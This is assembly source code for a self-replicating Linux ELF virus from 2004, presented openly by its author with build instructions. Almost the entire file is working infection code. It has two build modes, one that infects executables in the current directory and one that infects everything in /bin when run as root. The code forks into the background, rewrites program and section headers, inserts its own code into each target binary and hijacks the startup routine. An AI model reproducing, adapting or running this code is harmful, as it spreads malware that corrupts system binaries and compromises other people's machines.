;
;
; _______ __ __ __ _ _______ _____ _ _
; | \_/ | \ | |______ | | \___/
; |_____ | | \_| |______ |_____| _/ \_
;
;
; proudly presents
;
; .____ .__ ________ ________ __________.__
; | | |__| ____ \_____ \ \_____ \ \______ \__| ____ ____ _____
; | | | |/ \ _(__ < / ____/ | | _/ |/ \ / _ \ / \
; | |___| | | \/ \/ \ | | \ | | ( <_> ) Y Y \
; |_______ \__|___| /______ /\_______ \ /\______ /__|___| /\____/|__|_| /
; \/ \/ \/ \/ \/ \/ \/
; Date: 2.10.2004
;
;
; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
; -|-|-| I*N*T*R*O*D*U*C*T*I*O*N |-|-|-|- -|-|-|-|-|-| C*O*M*P*I*L*E |-|-|-|-|-|-
;
; Well I dont want to tell you much There are options to compile this
; about this project... Just check source: FUCK_USER or FUCK_SYSTEM
; out the code and build your own
; oppinion. I'd like to thank to all bash:# nasm -f elf -D [OPTION] -o \
; people on #DCA , #vx-lab , #lin32asm binom.o binom.asm
; for all their support. OPTION=FUCK_USER or FUCK_SYSTEM
; And now something special to my dar-
; ling: Caline I'll always love you. bash:# gcc -o binom binom.o
;
;
; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
; -|-|-|-|-|-|-|-|-|-|-|-| A*B*O*U*T |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
;
; Like I said there 2 options.Binom
; means "two" so you'll have 2 versions
; of the virus. Its quite simple since
; it uses macros.
;
; Option FUCK_USER | FUCK_SYSTEM
; ------------------|------------------------------------------
; Path to infect | "." | "/bin"
; -------------------------------------------------------------
; File type | ELF | ELF
; -------------------------------------------------------------
; Required rights | normal | root
; -------------------------------------------------------------
; Infecting | SPI + Abuse of | SPI + Abuse of
; technique | _libc_start_main | shard libraries
; --------------------------------------------------------------
; | yes(calculating | yes
; EPO |return addr using |
; |relative offsets) |
; --------------------------------------------------------------
; Payload | yes(print msg) | yes(print msg)
; --------------------------------------------------------------
; | no (change | no(change push
; Change entry | call instruction | instruction in the
; point | in the startup | startup routine
; | routine) |
; --------------------------------------------------------------
; Files nr. to | all | all
; infect | |
; --------------------------------------------------------------
; Invisible | yes(foking to | yes(froking to back-
; | background) | ground)
; --------------------------------------------------------------
;
;
; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
; -|-|-|-|-|-|-|-|-|-|-|-| E*O*F |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
; |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
%define SYS.FORK 2
%define SYS.READ 3
%define SYS.WRITE 4
%define SYS.OPEN 5
%define SYS.CLOSE 6
%define SYS.CHDIR 12
%define SYS.LSEEK 19
%define SYS.GETUID 24
%define SYS.GETGID 47
%define SYS.READDIR 89
%define SYS.MMAP 90
%define SYS.UNMMAP 91
%define SYS.STAT 106
%define SYS.GETCWD 183
%define STRUCT_STAT_SZ 64
%define STRUCT_DIRENT_SZ 266
%define STRUCT_MMAP_SZ 24
%define LOCAL_STACK_SZ 80
%define GLOBAL_STRUCT_SZ 134
%define MAGIC_FILE_MODE 7q
%define MAGIC_FILE_BIT_MASK 170000q
%define MAGIC_ELF 0x464c457f
%define MAGIC_ELF_BASE 0x8048000
%define MAGIC_VIRUS_SIZE 0x1000
%define E_TYPE_OFFSET 16
%define E_ENTRY 0x18
%define E_PHOFF 0x1c
%define E_PHENTSIZE 0x20
%define E_SHOFF 0x20
%define E_SHENTSIZE 0x28
%define E_PHNUM 0x2c
%define E_SHNUM 0x30
%define PHDR_INDEX_DATA 3
%define PHDR_INDEX_TEXT 2
%define PHDR_P_FILESZ 16
%define PHDR_P_MEMSZ 20
%define PHDR_P_VADDR 8
%define SHDR_SH_OFFSET 16
%define SHDR_SH_SIZE 20
%ifdef FUCK_SYSTEM
%define FIRST_PATH 0x0
%endif
%ifdef FUCK_USER
%define FIRST_PATH 0x2e
%endif
%define PATH_LENGHT 128
%define REG_FILE 10q
%define DIREC 4q
%define POINT 0x002e
%define DOUBLE_POINT 0x2e2e
section .text
global main
main:
pusha
pushf
push ebp
mov esp,ebp
; fork us baby ....
mov eax,SYS.FORK
mov ebx,0
int 0x80
; checking wheter child or parent process
; is active
cmp eax,0
jne parent_process
child_process:
; first of all we must get the sysuid of current
; user...maybe we're root ;))
mov eax,SYS.GETUID
int 0x80
push eax
; get gid and store it on stack...
mov eax,SYS.GETGID
int 0x80
push eax
; allocate space for the stat structure
; which will be needed by the stat function...
; then we'll scan beginning with "/" all directories
; and searching for ELF files.
sub esp,STRUCT_STAT_SZ
; here are the "default" infos which are needed by stat()
push dword FIRST_PATH ; first path to start with scaning
push dword 0x7 ; file permissions
%ifdef FUCK_SYSTEM
mov esi,_system
%endif
; start scaning beginning with FIRST_PATH
call scan4files
add esp,4*2 ; restore "default" infos
add esp,STRUCT_STAT_SZ ; restore stat structure
add esp,8 ; restore gid and uid
jmp restore_data
parent_process:
mov eax,SYS.WRITE
mov ebx,1
mov ecx,payload
mov edx,len
int 0x80
jmp _exit
scan4files:
%ifdef FUCK_USER
mov esi,esp
add esi,8
%endif
mov edi,esp
add edi,4 ; edi = access permissions
; store some space for our "global" structure for files
; this structure will contain the needed file descriptor
; , the access permissions and the complete path name
; of that file...
sub esp,4 ; fd
sub esp,1 ; permissions
sub esp,1 ; file type : reg file or directory
sub esp,PATH_LENGHT ; complete path lenght of file
;---> GLOBAL_STRUCT_SZ = size of this "global" structure
; stat our file name and complete the global structure
; with necessary information
mov eax,SYS.STAT
mov ebx,esi ; file name
mov ecx,ebp ; BASE pointer
sub ecx,STRUCT_STAT_SZ ; move to beginning of our stat structure
int 0x80
cmp eax,0x0
jge stat_ok
jmp _stat_error
restore_data:
pop ebp
popf
popa
jmp _exit
stat_ok:
; checking permissions on FIRST_PATH
mov ebx,ebp
sub ebx,STRUCT_STAT_SZ ; move to stat structure
mov ax,[ebx+8] ; stat.st_mode
; comparing uid of FIRST_PATH with uid of currently
; executed file...
mov cx,word [ebx+12] ; stat.st_uid
cmp word cx,[ebp-4]
je user_permission ; we have user permission on FIRST_PATH
mov cx,word [ebx+14]
cmp word cx,[ebp-8]
je group_permission ; group access
; check if we're root ... hehe..
cmp word [ebp-8],0
je user_permission
others_permission:
; ax = stat.st_mode ( look below )
and al,MAGIC_FILE_MODE
jmp access_file
user_permission:
shr ax,0x6
and al,MAGIC_FILE_MODE
jmp access_file
group_permission:
shr ax,0x3
and al,MAGIC_FILE_MODE
access_file:
; store access permissions to our global
; structure
mov byte [esp+PATH_LENGHT+1],al ; permissions
; checking file type : REG_FILE or DIREC
mov ebx,ebp
sub ebx,STRUCT_STAT_SZ
mov ax,[ebx+8] ; stat.st_mode
and ax,MAGIC_FILE_BIT_MASK
shr ax,12
; store file type to glob. structure...
mov byte [esp+PATH_LENGHT],al
; checking if REG_FILE or DIREC ...
mov al,byte [esp+PATH_LENGHT]
cmp al,DIREC
je directory ; jmp if file name is a directory
cmp al,REG_FILE
je near regular_file ; jmp if regular file...
jmp _access_error
directory:
; save current working directory...
mov eax,SYS.GETCWD
mov ebx,esp
mov ecx,PATH_LENGHT
int 0x80
; opening directory...
mov eax,SYS.OPEN
mov ebx,esi ; file name
mov ecx,0 ; ecx = 0 = O_RDONLY
mov edx,0
int 0x80
; check returned file descriptor....
cmp eax,0x0
jge open_ok
jmp _open_error
open_ok:
; save file descriptor to our glob.structure...
mov [esp+PATH_LENGHT+2],eax ; file descriptor
; chdir to that directory so we can search for another
; files in that directory...
mov eax,SYS.CHDIR
mov ebx,esi ; file name
int 0x80
; allocating stack space for our dirent structure
; which will be needed for searching new files etc.
sub esp,STRUCT_DIRENT_SZ
read_directory:
mov eax,SYS.READDIR
mov ebx,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+2]
; file descriptor
mov ecx,esp
mov edx,1
int 0x80
cmp eax,0x1
jne near _readdir_error
; search for files in the directory and call scan4files...
; we'll have to skip "." and ".." coz they're
; irrelevant to us
cmp word [esp+10],POINT ; [esp+10]=dirent.d_name
je skip_points
cmp word [esp+10],DOUBLE_POINT
je skip_points
xor eax,eax
mov al,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+1]
; file permissions
add esp,10 ; dirent.d_name
%ifdef FUCK_USER
push eax
%endif
%ifdef FUCK_SYSTEM
mov esi,esp
%endif
call scan4files
%ifdef FUCK_USER
add esp,4 ; restore that "push eax"
%endif
sub esp,10 ; restore "add esp,10"
skip_points:
jmp read_directory
regular_file:
; open file with flags READ & WRITE
mov eax,SYS.OPEN
mov ebx,esi ; esi = file name
xor ecx,ecx
mov ecx,2
int 0x80
cmp eax,0
jg file_write_perms
jmp scan_return
file_write_perms:
; save opened file descriptor to global structure
mov [esp+PATH_LENGHT+2],eax
; finding out file's size using lseek ;)
mov eax,SYS.LSEEK
mov ebx,[esp+PATH_LENGHT+2] ; fd
xor ecx,ecx
mov edx,2 ; SEEK_END
int 0x80
file_map:
mov ecx,eax ; ecx = file lenght
mov eax,SYS.MMAP
mov edx,[esp+PATH_LENGHT+2] ; fd
; declaring mmap structure ...
sub esp,STRUCT_MMAP_SZ
mov dword [esp],0 ; int start
mov [esp+4],ecx ; file lenght
mov dword [esp+8],3 ; READ_WRITE
mov dword [esp+12],1 ; MAP_SHARED
mov dword [esp+16],edx ; fd
mov dword [esp+20],0 ; int offset
mov ebx,esp ; pointer to mmap structure
int 0x80
; restoring mmap structure...
add esp,STRUCT_MMAP_SZ
cmp eax,-1
jne file_map_ok
jmp scan_return
file_map_ok:
; save us some stack where we can store mmap addr,file
; lenght etc...
mov esi,eax
mov ebx,[eax]
mov edx,MAGIC_ELF
cmp edx,ebx
je file_is_elf
close_target:
mov ebx,esi
mov eax,SYS.UNMMAP
int 0x80
mov eax,SYS.CLOSE
mov ebx,[esp+PATH_LENGHT+2]
int 0x80
jmp scan_return
file_is_elf:
; ok...we found an ELF file.but remember there are
; several ELF file types like : executables, objects,
; relocatables...only the executable ones are for us
; relevant...
file_elf_exec:
; checking is found file is an executable ELF file...
; therefore we will jump at offset ehdr.e_type and will
; compare the value with 2 . if the value = 2 then we found
; an executable and we can start with the infection of our file..
mov eax,esi ; esi = addr of maped file
add eax,E_TYPE_OFFSET
mov eax,[eax] ; data pointed by eax(addr of maped file)
mov edx,eax
xor eax,eax
mov al,dl ; we only need the first byte
cmp byte al,0x2 ; checking if ehdr.e_type == ET_EXEC
je elf_exec_ok
jmp close_target
elf_exec_ok:
; we need some stack for storing our mmap addr , file
; lenght , etc.
sub esp,LOCAL_STACK_SZ
mov [esp+4],esi ; mmap addr
mov [esp+8],ecx ; file lenght
mov eax,[esi+E_ENTRY] ; ehdr.e_entry
mov [esp+12],eax ; store entry point
mov eax,[esi+E_PHOFF] ; ehdr.e_phoff
mov [esp+16],eax ; store phdr offset
mov eax,[esi+E_SHOFF] ; ehdr.e_shoff
mov [esp+20],eax ; store shdr offset
mov eax,[esi+E_PHNUM]
and eax,0xffff ; ehdr.e_phnum
mov [esp+24],eax ; store phdr number
mov eax,[esi+E_SHNUM]
and eax,0xffff ; ehdr.e_shnum
mov [esp+28],eax ; store shdr number
check_if_space:
; checking if space is available between code segment
; and data segment...
; since the code size is limited we must check if there is
; enough space where to insert our virus code.maximum code
; size is restricted by code alignment which is 0x1000=4096.
; SO : if the difference between code and data segment
; is lower than ELF_PAGE_SZ=0x1000 then we'll have to
; cancel our infection routine...
mov ebx,[esp+16] ; e_phoff
add esi,ebx ; esi=ptr to mapped
; file --> move to first PHDR entry phdr[0]
mov ecx,[esi+32*PHDR_INDEX_DATA+PHDR_P_VADDR]
; phdr[3].p_vaddr : data segment (RW)
mov eax,[esi+32*PHDR_INDEX_DATA+PHDR_P_FILESZ]
; phdr[3].p_filesz
mov ebx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
; phdr[2].p_filesz: text segment (RE)
mov [esp+32],ebx ; store p_filesz of .text
mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
; phdr[2].p_vaddr
add ebx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
; phdr[2].p_filesz + phdr[2].p_vaddr
sub ecx,ebx ; phdr[3].p_vaddr - (phdr[2].p_filesz + phdr[2].p_vaddr)
mov eax,MAGIC_VIRUS_SIZE ; the virus size is actually the ELF_PAGE_SIZE
cmp ecx,eax
jl near no_insertion_space
; from now on the target is actually ready to be infected...
; we have an executable ELF file which has enough space
; between his code and data segment to insert our virus code...
%ifdef FUCK_USER
start_infection:
; first of all we must do some "comparisation" processes..
mov eax,[esp+12] ; e_entry
sub eax,MAGIC_ELF_BASE ; find out offset to entry code
mov esi,[esp+4] ; addr to mapped file
add esi,eax
; compare "call" of current program with "call" of target
; to see if target was infected by a superiour virus
add esi,0x21
mov ebx,esi ; "beyond the call"
sub esi,0x21
add esi,0x1d
mov ecx,esi ; our patch address
mov [esp+36],ebx ; store addr "beyond the call"
mov [esp+40],ecx ; store "our patch address"
; now we'll have to patch that addr with our new entry
; point.REMEMBER: the entry point in the EHDR WILL NOT BE
; CHANGED.THATS THE FUNNY THING OF THIS VIRUS ;=)
mov esi,[esp+4] ; mmap addr
mov ebx,[esi+E_PHOFF] ; offset to first byte
; of PHDR
add esi,ebx ; move to first byte
mov ecx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
; p_filesz
mov edx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
; p_vaddr
add ecx,edx ; p_vaddr + p_filesz
; align up the new entry point addr
; ALIGN_UP(x) (((x)+15)& ~15)
add ecx,15 ; ecx = new entry
; point
and ecx,~15
mov ebx,[esp+36] ; addr beyond the call
sub ecx,ebx
mov edx,[esp+40] ; "patch addr"
; first of all find out the addr which call should have called...
mov esi,[esp+36] ; beyond the call
mov eax,[edx] ; patch point
add eax,esi ; addr we search for
mov [edx],ecx ; store new addr
mov [esp+44],ecx ; copy new relative offset to stack
mov [esp+48],eax ; original addr
%endif
%ifdef FUCK_SYSTEM
start_infection:
mov eax,[esp+12] ; entry addr
sub eax,MAGIC_ELF_BASE ; offset to entry point
mov esi,[esp+4] ; mmap addr
add esi,eax
add esi,0x18 ; our patch point
mov ecx,esi ; our patch address
sub esi,0x18
add esi,0x21 ; "beyond the call"
mov ebx,esi
mov [esp+36],ebx ; store addr "beyond the call"
mov [esp+40],ecx ; store "our patch address"
mov esi,[esp+4] ; mmap addr
mov ebx,[esi+E_PHOFF] ; offset to first byte
; of PHDR
add esi,ebx ; move to first byte
mov ecx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
; p_filesz
mov edx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
; p_vaddr
add ecx,edx ; p_vaddr + p_filesz
; align up the new entry point addr
; ALIGN_UP(x) (((x)+15)& ~15)
add ecx,15 ; ecx = new entry
; point
and ecx,~15
mov ebx,[esp+40] ; our patch addr
mov eax,[ebx]
; save original addr to stack
mov [esp+48],eax
mov [ebx],ecx ; patching addr
%endif
patch_e_phoff:
mov esi,[esp+4]
mov ebx,[esi+E_PHOFF]
mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
add esi,ebx
; store p_filesz to stack
mov [esp+52],eax
; patch p_filesz
add dword[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ],MAGIC_VIRUS_SIZE
; store p_memsz to stack
mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_MEMSZ]
mov [esp+56],eax
; patch p_memsz
add dword[esi+32*PHDR_INDEX_TEXT+PHDR_P_MEMSZ],MAGIC_VIRUS_SIZE
; initialize registers for patch_phdr
mov edx,[esp+4] ; mmap addr
mov eax,[esp+16] ; old ehdr.e_phoff
add edx,eax ; move to phdr[0]
mov ebx,MAGIC_VIRUS_SIZE
mov eax,[esp+32] ; old p_filesz
mov ecx,[esp+24] ; ehdr.e_phnum -> needed by the loop instruction
patch_phdr:
cmp dword [edx+4],eax ; (edx+4)=p_offset
; compare if
; p_offset >= end of code segment(old p_filesz)
jbe next_phdr_entry
add dword [edx+4],ebx ; else patch
; p_offset -> new p_offset = old p_offset + MAGIC_VIRUS_SIZE
next_phdr_entry:
add edx,E_PHENTSIZE ; move to next entry
loop patch_phdr
; patching ehdr.e_shoff
mov ebx,[esp+4]
mov ecx,[ebx+E_SHOFF] ; e_shoff
add dword [ebx+E_SHOFF],MAGIC_VIRUS_SIZE
mov edx,[esp+4]
mov ebx,ecx ; old e_shoff
add edx,ecx ; move to shdr[0]
; initialize registers for patch_shdr
mov ecx,[esp+28] ; ehdr.e_shnum
mov eax,[esp+32] ; old p_filesz
patch_shdr:
cmp dword [edx+SHDR_SH_OFFSET],eax
; compare if
; shdr.sh_offset >= old p_filesz
jge do_patch
mov ebx,dword [edx+SHDR_SH_OFFSET]
add ebx,dword [edx+SHDR_SH_SIZE]
cmp ebx,eax ; if sh_offset + sh_size == old p_filesz
je patch_sh_size ; patch the code segment
jmp next_shdr_entry
patch_sh_size:
; include trailing code in last section
; of code segment (should be .rodata)
add ebx,MAGIC_VIRUS_SIZE ; increase lenght of .rodata
jmp next_shdr_entry
do_patch:
add dword [edx+SHDR_SH_OFFSET],MAGIC_VIRUS_SIZE
; patch sh_offset
next_shdr_entry:
add edx,E_SHENTSIZE ; next SHDR entry
loop patch_shdr
fuck_em_all:
mov ebx,[esp+LOCAL_STACK_SZ+PATH_LENGHT+2]
; fd
xor ecx,ecx ; ecx=0=beginning of file
xor edx,edx ; edx=0=SEEK_SET
mov eax,SYS.LSEEK
int 0x80
; seek to end of code segment(old p_filesz)
mov ecx,[esp+32] ; old p_filesz
mov eax,SYS.LSEEK
int 0x80
; caution: lame coding style ;)
; now we'll need to "save" the original content
; of the file so we can copy it after infecting
; file...therefore we'll use sys.read..
; like i said ; quite lame ;)
mov eax,[esp+32] ; old p_filesz
mov ebx,[esp+8] ; file lenght
sub ebx,eax
sub esp,ebx ; create temporary stack
mov edx,ebx
mov esi,edx ; ebx=edx=esi=difference
; seeking...
mov ebx,[esp+edx+LOCAL_STACK_SZ+PATH_LENGHT+2]
; fd
mov ecx,[esp+edx+32] ; old p_filesz
xor edx,edx ; edx = 0
mov eax,SYS.LSEEK
int 0x80
; reading...
mov edx,esi
mov ecx,esp
mov eax,SYS.READ
int 0x80
write_me:
; we'll gonna seek again in the file...
; but this time with the aligned offset(needed
; to insert our virus code properly)
mov ebx,[esp+esi+LOCAL_STACK_SZ+PATH_LENGHT+2]
; fd
mov ecx,[esp+esi+32] ; old p_filesz
; ALIGN_UP(x) ...
add ecx,15
and ecx,~15
xor edx,edx ; edx=0=SEEK_SET
mov eax,SYS.LSEEK
int 0x80
; writting... --> pushy
mov ecx,pushy
mov edx,1
mov eax,SYS.WRITE
int 0x80
; writting... --> original entry point
mov ecx,[esp+esi+48]
push ecx
mov ecx,esp
mov edx,4
mov eax,SYS.WRITE
int 0x80
pop ecx
; writting... --> till _exit
mov ecx,main
mov edx,len_till_exit
mov eax,SYS.WRITE
int 0x80
; writting...--> virus_code="ret"
mov ecx,virus_code
mov edx,vircode_len
mov eax,SYS.WRITE
int 0x80
; writting...--> after exit
mov ecx,test_me
mov edx,test_me_len
mov eax,SYS.WRITE
int 0x80
write_rest_of_file:
; seek after the virus code to insert the rest
; of the file
; seek to beginning of file
xor ecx,ecx
xor edx,edx
mov eax,SYS.LSEEK
int 0x80
mov ecx,[esp+esi+32] ; old p_filesz
add ecx,MAGIC_VIRUS_SIZE
xor edx,edx
mov eax,SYS.LSEEK
int 0x80
mov ecx,esp
mov edx,esi
mov eax,SYS.WRITE
int 0x80 ; write rest of file
add esp,esi ; restoring temporary stack
no_insertion_space:
unmap:
mov eax,SYS.UNMMAP
mov ebx,[esp+4] ; mmap addr
mov ecx,[esp+8] ; file lenght
int 0x80
add esp,LOCAL_STACK_SZ
jmp close_target
scan_return:
add esp,GLOBAL_STRUCT_SZ
ret
_readdir_error:
mov eax,SYS.CLOSE ; close directory
mov ebx,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+2]
add esp,STRUCT_DIRENT_SZ ; restore dirent structure
mov eax,SYS.CHDIR ; move to previous current directory
mov ebx,esp ; old PATH
int 0x80
jmp _stat_error
_open_error:
jmp _stat_error
_access_error:
_stat_error:
add esp,GLOBAL_STRUCT_SZ ; restore data allocated for our global structure
ret
len_till_exit equ $-main
_exit:
xor eax,eax
inc eax
int 0x80
test_me:
%ifdef FUCK_USER
payload db "[[ Cyneox/DCA (C) Copyright 2004 ]]!",0xA
len equ $-payload
%endif
%ifdef FUCK_SYSTEM
payload db "<< ..You've been binomitized!.. >> by cyneox",0xA
len equ $-payload
_system db "/bin",0x0 ; path where to search in when "fucking" up the whole system
%endif
pushy:
push dword 0x0
virus_code:
ret
vircode_len equ $-virus_code
test_me_len equ $-test_me